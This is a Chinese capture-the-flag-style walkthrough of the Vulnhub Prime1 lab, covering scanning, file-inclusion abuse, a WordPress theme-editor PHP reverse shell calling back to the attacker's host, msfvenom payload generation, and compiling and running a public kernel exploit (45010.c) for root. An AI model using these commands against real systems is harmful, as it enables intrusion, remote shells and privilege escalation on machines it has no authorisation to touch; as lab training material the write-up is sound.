Prime1_解法一:cms渗透 内核漏洞提权

news/2025/3/10 18:22:03/文章来源:https://www.cnblogs.com/Sol9/p/18586964


Prime1_解法一:cms渗透 & 内核漏洞提权



目录
  • Prime1_解法一:cms渗透 & 内核漏洞提权
    • 信息收集
      • 主机发现
        • nmap扫描
          • tcp扫描
          • tcp详细扫描22,80端口
          • udp扫描
          • 漏洞脚本扫描
        • 目录爆破
          • dirsearch
    • Web渗透
      • wfuzz
          • 常见的 wfuzz 过滤器:
      • 获得wordpress后台权限
    • wordpress cms渗透
      • WordPress 侦察和枚举
        • 版本检测
        • 自述文件
        • 元生成器
        • 通过 JavaScript 和 CSS 文件获取版本
        • 通过提要获取版本
        • 使用大纲处理器标记语言(OPML)
      • 反弹shell
    • 内核漏洞提权:Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞
      • 信息收集
      • 尝试自动任务cron.d
      • searchsploit查找对应版本内核漏洞

信息收集

主机发现

nmap扫描

tcp扫描
sudo nmap -sT --min-rate 10000 -oA tcpscan 192.168.236.134

sudo nmap -sT -sV -O --min-rate 10000 -p80,22 -oA tcpscan_detail 192.168.236.134
tcp详细扫描22,80端口

得到了openssh的版本号,apache的版本号,得知目标主机为一台linux

udp扫描

漏洞脚本扫描

唯一有用的提示是这里有一个wordpress的后台登陆页面,但这个目录爆破的过程应该也可以得到

目录爆破

dirsearch
sudo dirsearch -u "http://192.168.236.134"

得到这几个目录

/dev

/image.php

/wordpress/wp-login.php

/wordpress/



Web渗透

对信息收集的分析:

通过信息收集得到的信息,开放了22和80端口,目录爆破拿到了一些200的目录,那最感兴趣的就是先去看看一下80端口以及上面的各种目录有没有暴露给我们更多的信息

那就先访问ip:80端口只给了一张图片,查看源码也没有什么信息暴露出来

访问ip/dev ,给了这样一段文本

hello,now you are at level 0 stage.In real life pentesting we should use our tools to dig on a web very hard.Happy hacking. 

大概意思就是你在level 0阶段,在真实的渗透中我们应该用我们的工具更努力地去挖web(信息/漏洞)

我们用目录爆破得到的/dev,只爆破了80端口的路由,还并没有爆破指定文件,如果指定txt,zip,php,等后缀可能会得到新的发现

sudo dirb http://192.168.236.134/ -X .zip,.php,.html,.txt

扫描结果

┌──(㉿kali)-[~/prime1]
└─$ sudo dirb http://192.168.236.134/ -X .zip,.php,.html,.txt-----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Fri Nov 29 16:51:48 2024
URL_BASE: http://192.168.236.134/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.zip,.php,.html,.txt) | (.zip)(.php)(.html)(.txt) [NUM = 4]-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.236.134/ ----
+ http://192.168.236.134/image.php (CODE:200|SIZE:147)                                                                                                                                           
+ http://192.168.236.134/index.php (CODE:200|SIZE:136)                                                                                                                                           
+ http://192.168.236.134/secret.txt (CODE:200|SIZE:412)                                                                                                                                          -----------------
END_TIME: Fri Nov 29 16:51:59 2024
DOWNLOADED: 18448 - FOUND: 3

得到了

/image.php

/index.php

/secret.txt

新发现一个/secret.txt

不会用的时候就去看help 这是dirb的help

-----------------DIRB v2.22    By The Dark Raverdirb <url_base> [<wordlist_file(s)>] [options]========================= NOTES =========================<url_base> : Base URL to scan. (Use -resume for session resuming)<wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)======================== HOTKEYS ========================'n' -> Go to next directory.'q' -> Stop scan. (Saving state for resume)'r' -> Remaining scan stats.======================== OPTIONS ========================-a <agent_string> : Specify your custom USER_AGENT.-b : Use path as is.-c <cookie_string> : Set a cookie for the HTTP request.-E <certificate> : path to the client certificate.-f : Fine tunning of NOT_FOUND (404) detection.-H <header_string> : Add a custom header to the HTTP request.-i : Use case-insensitive search.-l : Print "Location" header when found.-N <nf_code>: Ignore responses with this HTTP code.-o <output_file> : Save output to disk.-p <proxy[:port]> : Use this proxy. (Default port is 1080)-P <proxy_username:proxy_password> : Proxy Authentication.-r : Don't search recursively.-R : Interactive recursion. (Asks for each directory)-S : Silent Mode. Don't show tested words. (For dumb terminals)-t : Don't force an ending '/' on URLs.-u <username:password> : HTTP Authentication.-v : Show also NOT_FOUND pages.-w : Don't stop on WARNING messages.-X <extensions> / -x <exts_file> : Append each word with this extensions.-z <millisecs> : Add a milliseconds delay to not cause excessive Flood.======================== EXAMPLES =======================dirb http://url/directory/ (Simple Test)dirb http://url/ -X .html (Test files with '.html' extension)dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test with apache.txt wordlist)dirb https://secure_url/ (Simple Test with SSL)

访问/secret.txt

Looks like you have got some secrets.Ok I just want to do some help to you. Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web//see the location.txt and you will get your next move//

大概就是给了一点tips,让我们尝试fuzz每一个php页面,并给了一个github的链接,是一个fuzz的教程,告诉我们,在得到新进展之后看看location.txt

COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something

wfuzz

我们有两个php文件,尝试fuzz

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.236.134/index.php?FUZZ=1

可以看到wfuzz尝试了很多参数,chars为136或者word为12w可以作为判断无意义参数的标指,我们将其过滤掉会更快速地帮助我们找到有意义的参数

加一个过滤器
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.236.134/index.php?FUZZ=1

chars为206,说明这个用参数可能会回显一些信息

curl访问一下,file随意get方式给个值或者不给都行

└─$ sudo curl http://192.168.236.134/index.php?file=1   <html>
<title>HacknPentest</title>
<body><img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>Do something better <br><br><br><br><br><br>you are digging wrong file</html>

告诉我们你挖错文件了,do something better,想起之前地location.txt 尝试将他给file

sudo curl http://192.168.236.134/index.php?file=location.txt<html>
<title>HacknPentest</title>
<body><img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>Do something better <br><br><br><br><br><br>ok well Now you reah at the exact parameter <br><br>Now dig some more for next one <br>use 'secrettier360' parameter on some other php page for more fun.
</html>

让我们用这个参数secrettier360到其他的php页面

sudo curl http://192.168.236.134/image.php?secrettier360                                                  
<html>
<title>HacknPentest</title>
<body><img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>0
finaly you got the right parameter<br><br><br><br></html>
常见的 wfuzz 过滤器:
  1. --hc (HTTP Code filter)
    • 用于根据 HTTP 响应码过滤结果。
    • 例如:–hc 404 会过滤掉返回 404 状态码的响应。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://example.com/FUZZ
  2. --hl (Content Length filter)
    • 用于根据响应内容的长度过滤结果。
    • 例如:–hl 0 会过滤掉响应内容长度为 0 的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --hl 0 http://example.com/FUZZ
  3. --hw (Words in response filter)
    • 用于根据响应体中返回的单词数进行过滤。
    • 例如:–hw 10 会过滤掉响应体包含少于 10 个单词的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --hw 10 http://example.com/FUZZ
  4. --hh (Headers filter)
    • 用于根据 HTTP 响应头进行过滤。
    • 例如:–hh 'Content-Type' 可以过滤掉所有响应头中包含 Content-Type 的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --hh 'Content-Type' http://example.com/FUZZ
  5. --sc (Status Code filter)
    • 用于根据响应的 HTTP 状态码范围过滤。
    • 例如:–sc 200-299 会仅显示响应状态码在 200 到 299 之间的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --sc 200-299 http://example.com/FUZZ
  6. --sl (Response Size filter)
    • 用于根据响应体的大小进行过滤。
    • 例如:–sl 100-500 会仅显示响应大小在 100 到 500 字节之间的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --sl 100-500 http://example.com/FUZZ
  7. --sw (String Words filter)
    • 用于根据响应中包含的特定字符串进行过滤。
    • 例如:–sw 'Not Found' 会过滤掉包含字符串 Not Found 的响应。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --sw 'error' http://example.com/FUZZ
  8. --sh (String Headers filter)
    • 用于根据 HTTP 响应头中包含的特定字符串进行过滤。
    • 例如:–sh 'X-Error' 会过滤掉响应头中包含 X-Error 的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --sh 'X-Error' http://example.com/FUZZ
  9. --ss (String Search filter)
    • 用于根据响应体中的字符串进行过滤。
    • 例如:–ss 'flag' 会仅显示响应体中包含 flag 字符串的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --ss 'flag' http://example.com/FUZZ
  10. --hs (Header Search filter)
    • 用于根据 HTTP 响应头中的特定字符串进行搜索过滤。
    • 例如:–hs 'Set-Cookie' 会仅显示响应头中包含 Set-Cookie 字符串的结果。
    • 示例:wfuzz -c -z file,/path/to/wordlist.txt --hs 'Set-Cookie' http://example.com/FUZZ

获得wordpress后台权限

成功文件包含读取到/etc/passwd(../多打几个退到根目录,不限制的话多了../也没关系)

saket\:x:1001:1001:find password.txt file in my directory:/home/saket:   

通过提示得知这里有一个password.txt

follow_the_ippsec

结合对wordpress的信息收集,发现有一个victor用户,发表过文章,有可能是管理员,尝试使用这组凭据去/wp-login.php登录,成功进入后台

wordpress cms渗透

利用metasploit探测wordpress的cms版本为5.2.2

运行metasploit模块
sudo msfconsole指定使用WordPress扫描模块
msf6 > use auxiliary/scanner/http/wordpress_scanner设置SSL证书
msf6 auxiliary(scanner/http/wordpress_scanner) > set ssl true设置目标端口
msf6 auxiliary(scanner/http/wordpress_scanner) > set rport 80目标hosts
msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts http://192.168.236.134/wordpress运行
msf6 auxiliary(scanner/http/wordpress_scanner) > run

WordPress 侦察和枚举

针对wordpress的信息收集这里找了一篇github上的文章

apachecn-kali-zh/docs/handson-web-pentest-metasploit/08.md at master · apachecn/apachecn-kali-zh

在您开始利用 WordPress 的任何插件/主题/核心漏洞之前,第一步是确认该站点是否位于 WordPress 上。至于检测 WordPress 本身,检测 WordPress CMS 安装的方法有多种:

  • 在 HTML 页面源中搜索wp-content字符串。
  • 查找 WordPress 安装时返回的/wp-trackback.php/wp-links-opml.php文件名。
  • 您也可以尝试/wp-admin/admin-ajax.php/wp-login.php
  • 查找静态文件,如readme.html/wp-includes/js/colorpicker.js

一旦确认站点正在 WordPress 上运行,下一步就是要知道目标服务器上运行的是哪个版本的 WordPress。要实现这一点,您需要知道检测其版本号的不同方法。为什么是版本号?因为基于目标服务器上安装的 WordPress 版本,您可以测试基于插件或 WordPress 核心的漏洞利用,这些漏洞可能公开,也可能不公开。

版本检测

每个 WordPress 安装都有一个版本号。在最新的 WordPress 版本中,默认情况下隐藏了版本号,但我们仍然可以枚举版本。在本节中,您将学习一些识别正在运行哪个版本的 WordPress 的方法。

最常见的侦察技术有Readme.html、元生成器、提要(RDF、Atom 和 RSS)、插件和主题(JS 和 CSS 版本)以及散列匹配。

自述文件

这是最简单的技巧。我们所要做的就是访问readme.html页面,它在中间披露了版本号。该文件的最初目的是向 CMS 的首次用户提供有关如何继续安装和使用 WordPress 的信息。安装和设置完成后,应将其删除。使用任何工具(包括 Metasploit)时,在执行任何类型的攻击之前,请始终检查 WordPress 安装的版本号。

所以,确保您知道要测试的版本。您可以在以下屏幕截图中看到readme.html的示例:

接下来,我们将研究元生成器。

元生成器

具有generator名称属性的元标记通常被描述为用于生成文档/网页的软件。确切的版本号在 meta 标签的content属性中公开。基于 WordPress 的网站通常在其源代码中有此标记,如以下屏幕截图所示:

接下来,我们将看到如何通过 JavaScript 和 CSS 文件获得该版本。

通过 JavaScript 和 CSS 文件获取版本

另一种查找版本号的方法是查看以下文件的源代码。以下文件请求 JS 和 CSS 文件:

  • wp-admin/install.php
  • wp-admin/upgrade.php
  • wp-login.php

它们在其ver参数中披露了确切的版本号,如以下屏幕截图所示:

接下来,我们将看到如何通过提要获取版本。

通过提要获取版本

有时,版本信息也可能在网站的提要中披露。以下文件路径可用于披露版本信息:

  • /index.php/feed/
  • /index.php/feed/rss/
  • /index.php/feed/rss2/
  • /index.php/comments/feed/
  • /index.php/feed/rdf/(文件在本地下载)
  • /index.php/feed/atom/
  • /?feed=atom
  • /?feed=rss
  • /?feed=rss2
  • /?feed=rdf

以下屏幕截图显示了通过提要披露的版本:

接下来,我们将研究 OPML。

使用大纲处理器标记语言(OPML)

OPML 是用于大纲的 XML 格式(定义为树,其中每个节点包含一组具有字符串值的命名属性)。以下文件允许 WordPress 从其他网站导入链接,只要它们是 OPML 格式,但访问此文件也会披露版本信息(在 HTML 注释标记之间),如以下屏幕截图所示:

/wp-links-opml.php

这可以在以下屏幕截图中看到:

反弹shell

在Appearance的Theme Editor模块中找到了secret.php,说你终于找到了一个可写的文件

写入一句话木马

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");
?>

kali另起一个nc监听443端口,复现的时候记得把我的kali ip换成自己的

因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:

http://靶机ip/wordpress/wp-content/themes/twentynineteen/secret.php

在红队笔记大佬的视频中,直接访问了上面这链接触发了secret.php代码执行,对这个url的来历并没有详细说明,我觉得还是需要阐释一下的。主要还是源于wordpress这个cms非常著名,可以很容易地在互联网上搜索到其内部各个模块的路径。访问这个路径之后,我们在secret.php中的payload就得以执行了

成功反弹shell



内核漏洞提权:Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞

信息收集

现在拿到了一个系统立足点,想要提权第一步还是得先做好信息收集。

www-data@ubuntu:/$ whoami                                                                   
whoami                                                                                      
www-data          www-data@ubuntu:/$ uname -a        
uname -a                                                                                    
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linuxwww-data@ubuntu:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on ubuntu:(root) NOPASSWD: /home/saket/enc

通过上面两条命令知道该用户为www-data,权限比较低,能看到系统的版本为ubuntu4.10.0-28,还看到一个可以不需要password就能执行的/home/saket/enc,但没有查看和写入权限,实际尝试执行还是要求输入密码。

尝试自动任务cron.d

再翻一下目录,找一下一些关键的文件能不能带来一些突破口,比如自动任务

这里翻到一个php,仔细看一下

www-data@ubuntu:/etc/cron.d$ cat /etc/cron.d/php
cat /etc/cron.d/php
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
#  This purges session files in session.save_path older than X,
#  where X is defined in seconds as the largest value of
#  session.gc_maxlifetime from all your SAPI php.ini files
#  or 24 minutes if not defined.  The script triggers only
#  when session.save_handler=files.
#
#  WARNING: The scripts tries hard to honour all relevant
#  session PHP options, but if you do something unusual
#  you have to disable this script and take care of your
#  sessions yourself.# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean

-x会检查后面跟的文件是否存在并有执行权限,那就去看看

www-data@ubuntu:/usr/lib/php$ cat sessionclean             
cat sessionclean
#!/bin/sh -e
#
# sessionclean - a script to cleanup stale PHP sessions
#
# Copyright 2013-2015 Ondřej Surý <ondrej@sury.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.SAPIS="apache2:apache2\napache2filter:apache2\ncgi:php@VERSION@\nfpm:php@VERSION@-fpm\ncli:php@VERSION@\n"# Iterate through all web SAPIs
(
for version in $(/usr/sbin/phpquery -V); doproc_names=""printf "$SAPIS" | \while IFS=: read -r conf_dir proc_name; doif [ -e /etc/php/${version}/${conf_dir}/php.ini ]; then# Get all session variables once so we don't need to start PHP to get each config optionsession_config=$(PHP_INI_SCAN_DIR=/etc/php/${version}/${conf_dir}/conf.d/ php${version} -c /etc/php/${version}/${conf_dir}/php.ini -d "error_reporting='~E_ALL'" -r 'foreach(ini_get_all("session") as $k => $v) echo "$k=".$v["local_value"]."\n";')save_handler=$(echo "$session_config" | sed -ne 's/^session\.save_handler=\(.*\)$/\1/p')save_path=$(echo "$session_config" | sed -ne 's/^session\.save_path=\(.*;\)\?\(.*\)$/\2/p')gc_maxlifetime=$(($(echo "$session_config" | sed -ne 's/^session\.gc_maxlifetime=\(.*\)$/\1/p')/60))if [ "$save_handler" = "files" -a -d "$save_path" ]; thenproc_names="$proc_names $(echo "$proc_name" | sed -e "s,@VERSION@,$version,")";printf "%s:%s\n" "$save_path" "$gc_maxlifetime"fifidone
done
# first find all open session files and touch them (hope it's not massive amount of files)
for pid in $(pidof $proc_names); dofind "/proc/$pid/fd" -ignore_readdir_race -lname "$save_path/sess_\*" -exec touch -c {} \;
done ) | \sort -rn -t: -k2,2 | \sort -u -t: -k 1,1 | \while IFS=: read -r save_path gc_maxlifetime; do# find all files older then maxlifetime and delete themfind -O3 "$save_path/" -depth -ignore_readdir_race -mindepth 1 -name 'sess_*' -type f -cmin "+$gc_maxlifetime" -deletedoneexit 0

尝试用msfvenom生成php的payload 这个太长就不展示了

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.236.128 LPORT=444 -f raw

但是搞完才发现php根本没有写入权限

264166 -rw-r--r--   1 root root   670 Jun 22  2017 php

第一个字符-表示这是一个普通文件(如果是目录会显示为d)。接下来的三个字符rw-表示文件所有者(这里是root用户)有读和写的权限。中间的三个字符r--表示文件所属组(这里是root组)只有读的权限。最后的三个字符r--表示其他用户也只有读的权限。

searchsploit查找对应版本内核漏洞

kali上用searchsploit漏洞库搜索对应版本的漏洞

┌──(observer㉿kali)-[~]
└─$ searchsploit linux ubuntu 4.10.0-28
---------------------------------------------------------- ---------------------------------Exploit Title                                            |  Path
---------------------------------------------------------- ---------------------------------
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use | linux/dos/43234.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local  | linux/local/45010.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User N | linux/local/41760.txt
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
sudo searchsploit -m 45010.c  把利用c语言脚本下载下来,后续利用需要用gcc去编译

那么想要把这个利用脚本传到靶机上,这里利用:kali开简易web服务,靶机上用wget获取kali服务上的.c

但是普通的目录权限太低,尝试过后发现wget下载不了

这里用到了一个不起眼但是很有用的/tmp目录,参考Linux中最低调、最易让人忽视的tmp目录,原来用处那么大!-腾讯云开发者社区-腾讯云

在Linux操作系统中,tmp目录是一个临时目录,用于存储临时文件。这个目录通常位于根目录下,命名为/tmp。本文将详细介绍Linux中的tmp目录,包括它的作用、权限、使用方法和安全性等方面。

作用

tmp目录用于存储临时文件,这些文件通常是由操作系统或应用程序创建的。这些文件可以是日志文件、临时缓存文件、程序临时文件、打印队列文件等。它们在使用后很快就会被删除,因此/tmp目录通常保持相对较小的大小。

权限

在Linux中,tmp目录的权限通常设置为777(rwxrwxrwx),这意味着任何用户都可以访问和修改该目录中的文件。这是为了方便临时文件的创建和删除。然而,由于/tmp目录通常包含敏感信息,因此一些系统管理员可能会更改其权限以提高安全性。

使用方法

/tmp目录在Linux中被广泛使用。下面是/tmp目录的几个主要用途:

  1. 缓存

/tmp目录通常用于存储临时缓存文件,这些文件可以加速某些操作。例如,浏览器会将下载的文件保存到/tmp目录中,以便更快地访问这些文件。

  1. 打印队列

打印服务通常会将打印任务存储在/tmp目录中。这些文件在打印完成后会自动删除。

  1. 应用程序临时文件

某些应用程序需要在运行期间创建临时文件。例如,视频编辑器需要创建临时文件以存储正在编辑的视频文件。

  1. 日志文件

某些程序会将日志文件保存在/tmp目录中。这些日志文件通常包含程序运行期间的信息,例如错误消息或调试信息。

  1. 其他

/tmp目录还可用于其他临时文件的存储,例如备份文件、邮件附件等。

安全性

尽管/tmp目录通常是一个临时目录,但它也可能包含一些敏感信息,例如密码文件或其他保密数据。因此,在使用/tmp目录时需要注意安全问题。下面是一些有关使用/tmp目录的安全建议:

  1. 避免在/tmp目录中存储敏感信息

尽管/tmp目录通常会自动清理,但为了确保安全,最好避免在其中存储敏感信息。如果必须存储敏感信息,则应考虑将文件加密或将其存储在其他地方。

  1. 定期清理/tmp目录

为了保证安全,建议定期清理/tmp目录。这可以防止/tmp目录被填满,从而导致系统崩溃或无法正常工作。

  1. 限制/tmp目录的权限

由于/tmp目录通常包含敏感信息,一些系统管理员可能会限制其访问权限,以提高安全性。这可以通过更改目录权限或使用安全模块(如SELinux)来实现。

  1. 避免使用/tmp目录作为共享目录

/tmp目录通常是一个临时目录,不应用于共享目录。如果必须在多个计算机之间共享文件,则应使用其他共享目录,例如NFS共享目录或Samba共享目录。

  1. 防止/tmp目录成为攻击者的入口

/tmp目录可能成为攻击者攻击系统的入口。攻击者可能通过/tmp目录中的漏洞来执行恶意代码,因此需要采取一些措施来保护/tmp目录的安全。这可以通过升级系统补丁、安装防病毒软件或使用安全模块等方式实现。

结论

在Linux中,tmp目录是一个重要的临时目录,用于存储临时文件。尽管/tmp目录通常自动清理,但在使用时需要注意安全问题。为了确保安全,建议避免在其中存储敏感信息,定期清理/tmp目录,并限制其访问权限。此外,还应采取一些措施来防止/tmp目录成为攻击者的入口。通过这些措施,可以确保/tmp目录在系统中的安全使用。

那就看一下/tmp的权限

drwxrwxrwt 12 root root 4096 Dec  3 05:00 /tmp

d:表示这是一个目录。rwx:文件所有者(root)有读、写和执行权限。rwx:文件所属组(root)有读、写和执行权限。rwt:其他用户有读、写和执行权限,但加上了粘滞位 t。意味着即使目录对所有用户都是可写的,只有文件的所有者和超级用户(root)才能删除或重命名该目录中的文件。那就cd到/tmp里去sudo searchsploit -m 45010.c

这里提一下,按理来说,现在攻击机kali上先把.c编译好了再传进去会更方便,以防止靶机上没有编译环境或编译失败,但是exe更容易被杀软 or waf拦,所以这里选择直接传.c进去,再编译(看到别的博主传exe失败 我没去试)

kali上开一个简易的web服务器,指定本地80端口,-S参数用于启动内置的web服务器,后接参数指定ip和port

sudo php -S 0.0.0.0:80

image-20241203140315001

在靶机上使用wget去下载我们的payload源代码,如果这个地方被防火墙or杀软拦了,可以尝试别的方式,比如用curl,certutil,或者用c#写一个简单的下载器,然后在靶机上自己用net 3.5 框架编译,还有一种是看红笔大佬打htb apt的时候学到的,利用靶机里的工具靠山吃山,利用了MpcmdRun.exe,!

回显:

www-data@ubuntu:/tmp$ wget http://192.168.236.128/45010.c
wget http://192.168.236.128/45010.c
--2024-12-03 18:33:51--  http://192.168.236.128/45010.c
Connecting to 192.168.236.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13176 (13K) [text/x-c]
Saving to: '45010.c'0K .......... ..                                         100% 13.9M=0.001s2024-12-03 18:33:51 (13.9 MB/s) - '45010.c' saved [13176/13176]

下载成功后,用gcc去编译这个c源码

gcc 45010.c -o 45010

运行程序,成功提权

./45010

还可以用python提升一下交互性

查询是否有python

dpkg -l | grep python

python -c 'import pty;pty.spawn("/bin/bash")'

flag:

root@ubuntu:/root# cat root.txt
cat root.txt
b2b17036da1de94cfb024540a8e7075a
root@ubuntu:/root# cat key.txt
cat key.txt
I know you are the fan of ippsec.So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

至此成功打通prime1.1 完结撒花

参考博客

Vulnhub靶机实操笔记-Prime1-解法二 - FreeBuf网络安全行业门户

prime 1 靶场渗透测试_prime1靶场渗透压测试-CSDN博客

「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼_prime: 1靶机-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/846783.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Bitmap Indexing in DBMS Bitmap Index vs. B-tree Index low cardinality

1、 Similarly let us assume that the Job of the Employees is divided into 4 categories only i.e Manager, Analyst, Clerk, and Salesman. Such columns are called columns with low cardinality. 2、 SELECT * FROM Employee WHERE New_Emp = &qu…

windows AD域控密码过期企业微信推送告警

在写了windows AD域控密码过期邮件推送告警后,有网友问我能不能写一篇关于企业微信推送的文章 如果需要看邮件推送或者需要自定义脚本,可以参考我的文章 windows AD域控密码过期邮件通知迭代版本1.企业微信告警要求 1.1.企业微信推送需要具备的条件需要在企业微信中创建企业微…

H5-27 浮动

1、浮动的定义fo属性定义元素在哪个方向浮动,任何元素都可以浮动。值 描述left 元素向左浮动right 元素向右浮动 2、浮动的原理:①浮动以后使元素脱离了文档流②浮动只有左右浮动,没有上下浮动 3、元素向左浮动脱离文档流之后,元素相当于在页面上面增加一个浮层来放置内容。…

工业凹槽洗底问题 | 探索研讨

关于抛物线和圆的位置关系的问题探索和引申前情概要 在和同事研讨下述题目的解答时,碰到了一些困难,思路不太好把握,探索一番,做个记录。 案例分析 【2024高二周末训练题】一个工业凹槽的截面是一条抛物线的一部分,它的方程是 \(x^2=4y\),\(y\in[0,10]\),在凹槽内放入一…

大学微积分 AB (第一单元)极限和连续性

极限介绍 平方的表示方式 极限不存在的情况 根据图表估算极限值 无限制 图中的单侧极限

算法网关视频分析网关消防车通道占用识别助力消防通道畅通守护生命线

随着城市化进程的加快,消防安全成为城市管理中的重要一环。消防车通道作为火灾发生时救援车辆的主要通道,其畅通无阻至关重要。然而,在实际生活中,消防车通道被占用或堵塞的现象屡见不鲜,给火灾救援工作带来了极大的阻碍。一、消防车通道占用识别算法的重要性 消防车通道占…

11Labs 推出 Conversational AI,可定制交互式语音智能体;Recall.ai:视频会议智能体通用 API

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

Hive 数据倾斜问题定位排查及解决

多数介绍数据倾斜的文章都是以大篇幅的理论为主,并没有给出具体的数据倾斜案例。当工作中遇到了倾斜问题,这些理论很难直接应用,导致我们面对倾斜时还是不知所措。 今天我们不扯大篇理论,直接以例子来实践,排查是否出现了数据倾斜,具体是哪段代码导致的倾斜,怎么解决这段…

LeetCode 509[斐波那契数]

LeetCode 509[斐波那契数]题目 链接 LeetCode 509[斐波那契数] 详情实例提示题解 思路 递归求值,但是吧,如果是用递归的话有可能会造成内存超出限制的错误,当然我不能确定会不会报此错误,因为我没有试过 此处我是用循环代替递归的 n为0时,fn为0 n为1时,fn为1 n为2时,fn为…

从零开始利用coze智能体API提取抖音视频文本内容

作用:可以将抖音视频说话的内容转成文本。 本文从零开始搭建coze智能体到添加解析插件、到开通API、再创建请求密钥全流程讲解。 完全从零开始一步步操作,直至达到最终目的。 扣子的API能力个人免费使用【注上免费请求说明】 免费版和专业版的对比: 文档链接:https://www.c…

H5-26 文档流

1、文档流是文档中可显示对象在排列时所占用的位置/空间例如:块元素自上而下摆放,内联元素,从左到右摆放标准六里面的限制非常多,导致很多页面效果无法实现①高矮不齐,底边对齐②空白折叠现象(1)无论多少个空格、换行、tab,都会折叠为一个空格(2)如果我们想让img标签…

HTML打包EXE2.0.0版本新增免费内核介绍 - 永久使用不过期, 无广告

近期我们接到一些用户反馈, 希望可以给学生用户, 公益教育事业的用户提供免费的内核, 方便他们打包一些简易的网页程序. 针对上述的用户反馈, 我们技术人员经过调研, 决定单独开发一个独立的免费内核供所有用户使用, 后续免费内核也会随着软件的更新一起更新维护.HTML打包EXE包…